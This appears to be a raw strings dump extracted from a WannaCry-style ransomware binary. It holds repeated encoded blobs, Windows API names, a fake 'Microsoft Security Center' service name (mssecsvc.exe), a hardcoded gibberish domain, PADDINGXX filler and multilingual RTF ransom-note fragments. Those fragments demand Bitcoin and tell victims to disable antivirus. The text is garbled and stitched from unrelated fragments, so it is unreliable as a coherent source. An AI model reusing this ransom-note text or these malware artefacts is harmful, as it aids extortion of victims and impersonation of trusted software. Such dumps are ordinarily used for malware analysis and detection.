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 Microsoft Security Center (2.0) Service Microsoft Visual C++ Runtime Library MinSockaddrLength mscoree.dll msg/m_chinese (simplified).wnry msg/m_chinese (simplified).wnryR9 msg/m_chinese (traditional).wnry msg/m_portuguese.wnry mssecsvc.exe mu8ZiCou+4Y9PFE2Aq/JP73dKOewZib9zIPfPrjyONiobPbo1bCl/m+TSdhqUh5FYmcxDK9ISe0ElEdgkTOm6Nix8wvPsODOynqdIeS4JkPGwOBxnp678RIFb24/AnQdHhRFPOl2CEJKX+CH1pmztWjhR+6blLrvP/+UKFwewIrG58534tZfUzl2UQtv7ezYAPP3C0vvWzfSfUJpDPOpgbVTvJyI+3r/g0FhmSJaSIWIKiOIh245BAVrrJ/ZkjMSbu57KCiySaIJdi2+ltpquy0TFCfM2kcGju1SPq3SFDLSN/E3I8TO7WWeIA3Qntm5VqlK2bs8zoaIVgcF4tWs3xpdavYegL1N/96CZdqaJMKfY76tApl6VdxB/vvqc+X2l2uqGAPDpefagUipGU/dpIuJBTMluL5OnrYTs3PqAJpoq0154OyHtwvgrab7nhJFZXa/vl4CnWEXhQ3UUvlQHBhVoqSYRqeE/EKiJjaJtKhL3V+a+PQVniOOylW77dGba3F3h/aQJgZ/7+33utKuh+9eSAJdPZlhNQmncsmObaUJRYxGkYz+ShjASOOqH2ev3aT0Zpx4SvbZBcYF/A1yoX8W7lD0CHMIhogHgmauAu1g1DHViPB+qZgx108f1PxpwfKkG n 7 zile, nu ve}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 n kh\\'f4\\loch\\f31502 \\hich\\f31502 ng c\\'f2\\loch\\f31502 \\hich\\f31502 n c\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 n vain Bitcoinissa. Saat lis\\'e4\\loch\\f31502 tietoja napsauttamalla <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 About}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 n, haga clic en <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 About b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 itcoin>. n, haga clic en <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 How to buy}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 bitcoins>. NBzWBfwTQKdO/TYX3duloi0pOT9SJsI6AOKB/lzjTn7taOddHEPsAs7umJToRk9hUTRL0VvG3SkUuY6dZvyLY06Ucse9vPiNB2gZ+w0ukdmrZjinB7+/NX6KvtF/keX0VeAvSea3nFH+QVYIOMepC/AZY3r/H4Bq5cJN4p1yWHg/0b75N+LXdCJgQoZDxXOx/uEj6j+3S53AWiEYxtUQCrI6NfqWa/NCM0OGuudA2IIAxezUonqYGQ/utF7vL3au7ngiNd0aG3ho0nRV90/0CIQ3bGW46f8KocoPLjN5afGgORS/EfyMYgQ8yK76RlsUt5DzQrTKI3v7dpe6swnG6X+3VNquRaHzEnj1XbRYkWSR/locfZa/6PJBJNCfW5z5EG5nKdwgaKUBRvuHwZ1QLIx87qMRxXTwTDP690T6BmRPwbnDjLrdcQUGnYkPpC0vSIJrX1iQqOJmmxIgrHsfOV8w8aVgvf7nchKZ0zTtEYQCsVLOc6UOyeqYS+7UHFGOIo44JU5NzMJ1tPRv7phHr+AkI0WKJ0eYlk2qI1ZXQX+AUfmSBe5EtqmOdcWMxrLkx8CZFOXZceOOsChgLG7xcgi8pIXUARIi0QEPHk9rK4HxVO0TbZqwiq0QqTq+85Xb4+QQ0eXX3U6xik0R5ezmtGff4evu8xfMFAwz7BkVCGpl/cq/wQQT/l08knpCQH8i7sPh+/n3sow07IxKnwe4z4gUB0qW8UCFjyLfynhEJXUZLcwG+xJXCrn2ACQRXvYf9KJly3DS99BBo+HWzFl8dvPs6pP3oS4cF+ukVPotojWwlWgBubjiZ9H8+9LrdJ06AO5P+aJpfbeqKjJT7vr2Ddhl8xU2d2Y1Iuys5TytCo6VyL/2OMkh8Xd/uxIcLXlrXkCaF76WjPmNkahVfphCFVXIV8pz/zsJ80BQ7kKONSR+M8Dn6PIP263jK836WGTcqTaWB3DI0a/0DB11ydekB1eBeGr/+RE6pTf40XYTNnpr34L7LzDgRuBdUgdtcmG NBzWBfwTQKdO/TYX3duloi0pOT9SJsI6AOKB/lzjTn7taOddHEPsAs7umJToRk9hUTRL0VvG3SkUuY6dZvyLY06Ucse9vPiNB2gZ+w0ukdmrZjinB7+/NX6KvtF/keX0VeAvSea3nFH+QVYIOMepC/AZY3r/H4Bq5cJN4p1yWHg/0b75N+LXdCJgQoZDxXOx/uEj6j+3S53AWiEYxtUQCrI6NfqWa/NCM0OGuudA2IIAxezUonqYGQ/utF7vL3au7ngiNd0aG3ho0nRV90/0CIQ3bGW46f8KocoPLjN5afGgORS/EfyMYgQ8yK76RlsUt5DzQrTKI3v7dpe6swnG6X+3VNquRaHzEnj1XbRYkWSR/locfZa/6PJBJNCfW5z5EG5nKdwgaKUBRvuHwZ1QLIx87qMRxXTwTDP690T6BmRPwbnDjLrdcQUGnYkPpC0vSIJrX1iQqOJmmxIgrHsfOV8w8aVgvf7nchKZ0zTtEYQCsVLOc6UOyeqYS+7UHFGOIo44JU5NzMJ1tPRv7phHr+AkI0WKJ0eYlk2qI1ZXQX+AUfmSBe5EtqmOdcWMxrLkx8CZFOXZceOOsChgLG7xcgi8pIXUARIi0QEPHk9rK4HxVO0TbZqwiq0QqTq+85Xb4+QQ0eXX3U6xik0R5ezmtGff4evu8xfMFAwz7BkVCGpl/cq/wQQT/l08knpCQH8i7sPh+/n3sow07IxKnwe4z4gUB0qW8UCFjyLfynhEJXUZLcwG+xJXCrn2ACQRXvYf9KJly3DS99BBo+HWzFl8dvPs6pP3oS4cF+ukVPotojWwlWgBubjiZ9H8+9LrdJ06AO5P+aJpfbeqKjJT7vr2Ddhl8xU2d2Y1Iuys5TytCo6VyL/2OMkh8Xd/uxIcLXlrXkCaF76WjPmNkahVfphCFVXIV8pz/zsJ80BQ7kKONSR+M8Dn6PIP263jK836WGTcqTaWB3DI0a/0DB11ydekB1eBeGr/+RE6pTf40XYTNnpr34L7LzDgRuBdUgdtcmGm NG error nghapus perangkat lunak ini, dan menonaktifkan anti-virus Anda untuk sementara, sampai Anda membayar dan pembayaran akan diproses. Jika anti}{\\rtlch\\fcs1 \\af53 \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af31502\\hich\\af31502\\dbch\\af53\\insrsid6386681 -}{\\rtlch\\fcs1 \\af53 NGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD NGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADD 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 o mais acess\\'ed\\loch\\f31502 \\hich\\f31502 veis porque foram criptografados. Talvez voc\\'ea\\loch\\f31502 \\hich\\f31502 esteja ocupado procurando uma maneira de recuperar seus arquivos, mas n\\'e3\\loch\\f31502 \\hich\\f31502 o perca seu tempo. Ningu\\'e9 O que aconteceu com o meu computador? o remova este software e desative seu anti-v\\'ed\\loch\\f31502 rus por\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 um tempo, at\\'e9\\loch\\f31502 \\hich\\f31502 que voc\\'ea\\loch\\f31502 \\hich\\f31502 pague eo pagamento seja processado. Se o seu anti-v ohjelmaa, ja poista virustentorjastasi hetkeksi, kunnes maksat ja maksut k\\'e4\\loch\\f31502 \\hich\\f31502 sitell\\'e4\\'e4\\loch\\f31502 \\hich\\f31502 n. Jos virustorjunta p\\'e4\\loch\\f31502 \\hich\\f31502 ivittyy ja poistaa t\\'e4\\loch\\f31502 \\hich\\f31502 m\\'e4 OpenMutexA OpenServiceA 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 oversubscribed distance tree oversubscribed dynamic bit lengths tree oversubscribed literal/length tree p v\\'e0\\loch\\f31502 o . p9ifjaposdfjhgosurijfaewrwergwea.com PA^A]A\\_^][ PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING PL9zAK5NdhB4pOxeH8C6IohsXLci5GzTlw3tp9N2wz57T3XWRjWfdhbqofZKzImY1KhxBRkSheiKSXoVfc+ZaXYL086Nuw3lltVnTCIsKKNipwkSM/vhd+mHT4gjeUvPEky3LB0Yi5Wjp0t2It2PyrnnzZsgKGv+luka6VN3wGGSMny+pJ0Mfyb7lXOAYF5Ocw59cWHGpEMNXHgeZGZcVXzvFKDcv6ihGeWm6Zb1dQuWkaZ9Qctn+1WEOkypSTCFbowm0+O5hVCkkGNP4P38AMA0C99BNh2QG8tyT7zSOSOc+URvdzQzyxwVtTSDgTz9eTkT4JJM4WJwa1DZLuZ/nPzmlZPYcZINLfecS5+wFVGWzys43dW3lDNYmsNIlRdH7nR3SGTXwUwsgAbOeK8MlXdFCM5Eaui8RybwHSOcE+/hutA6XFT6Aerr1rcEnOrGccXjpe5VlYBzdZv7janZ2d7k8DKIUfKrfL0Q02s4KYBrClScqHuKD+nZiAGlUF3LdVdAbKlbY0B0Of/7J6XTHXiX117oSxucY8LkL6kjuxNdUwYJwuBESmeb3FdNRtgbwvT9SHDJjqwnsYiSBgkXLG5yOwMoa9xMbTaxq6jScOR81odD7ClAylSXnuUCHbUdpyTb0cZR4Z/MnoJeyB8FmnDVicluS9fCXLtEX4BPaGEeUu8PxjEfvztqGOTvRbZqgSHUZB94hRCRtrH6HtUDPxM/iwwByADEGgeM84KLSpHzDSs5wZe2aBWnZGndNgClZmvhUvJSJ1F+MfK40MCoM1fP2TYL6iAA/NjQqFHG7TDnejw5sUnXDDfLCpD/HcKPvroPsC9qrigimwlEn4KLtEI3Ic0xpDeDiHwnOpJKWtxnz46IKnjadOn8Rwnwx9sW3wumyAzORT9pSht+NJEfVqSofR2msfVBk/nwjbPpXc9cw3Cj20My4iHG9G4ARN1GqwO2xH8vQDaUsn7Qw5fT2aY5JJdMz2vPXMYKI8QNhVbo+xa6vj7fod/QHKmKUhG PL9zAK5NdhB4pOxeH8C6IohsXLci5GzTlw3tp9N2wz57T3XWRjWfdhbqofZKzImY1KhxBRkSheiKSXoVfc+ZaXYL086Nuw3lltVnTCIsKKNipwkSM/vhd+mHT4gjeUvPEky3LB0Yi5Wjp0t2It2PyrnnzZsgKGv+luka6VN3wGGSMny+pJ0Mfyb7lXOAYF5Ocw59cWHGpEMNXHgeZGZcVXzvFKDcv6ihGeWm6Zb1dQuWkaZ9Qctn+1WEOkypSTCFbowm0+O5hVCkkGNP4P38AMA0C99BNh2QG8tyT7zSOSOc+URvdzQzyxwVtTSDgTz9eTkT4JJM4WJwa1DZLuZ/nPzmlZPYcZINLfecS5+wFVGWzys43dW3lDNYmsNIlRdH7nR3SGTXwUwsgAbOeK8MlXdFCM5Eaui8RybwHSOcE+/hutA6XFT6Aerr1rcEnOrGccXjpe5VlYBzdZv7janZ2d7k8DKIUfKrfL0Q02s4KYBrClScqHuKD+nZiAGlUF3LdVdAbKlbY0B0Of/7J6XTHXiX117oSxucY8LkL6kjuxNdUwYJwuBESmeb3FdNRtgbwvT9SHDJjqwnsYiSBgkXLG5yOwMoa9xMbTaxq6jScOR81odD7ClAylSXnuUCHbUdpyTb0cZR4Z/MnoJeyB8FmnDVicluS9fCXLtEX4BPaGEeUu8PxjEfvztqGOTvRbZqgSHUZB94hRCRtrH6HtUDPxM/iwwByADEGgeM84KLSpHzDSs5wZe2aBWnZGndNgClZmvhUvJSJ1F+MfK40MCoM1fP2TYL6iAA/NjQqFHG7TDnejw5sUnXDDfLCpD/HcKPvroPsC9qrigimwlEn4KLtEI3Ic0xpDeDiHwnOpJKWtxnz46IKnjadOn8Rwnwx9sW3wumyAzORT9pSht+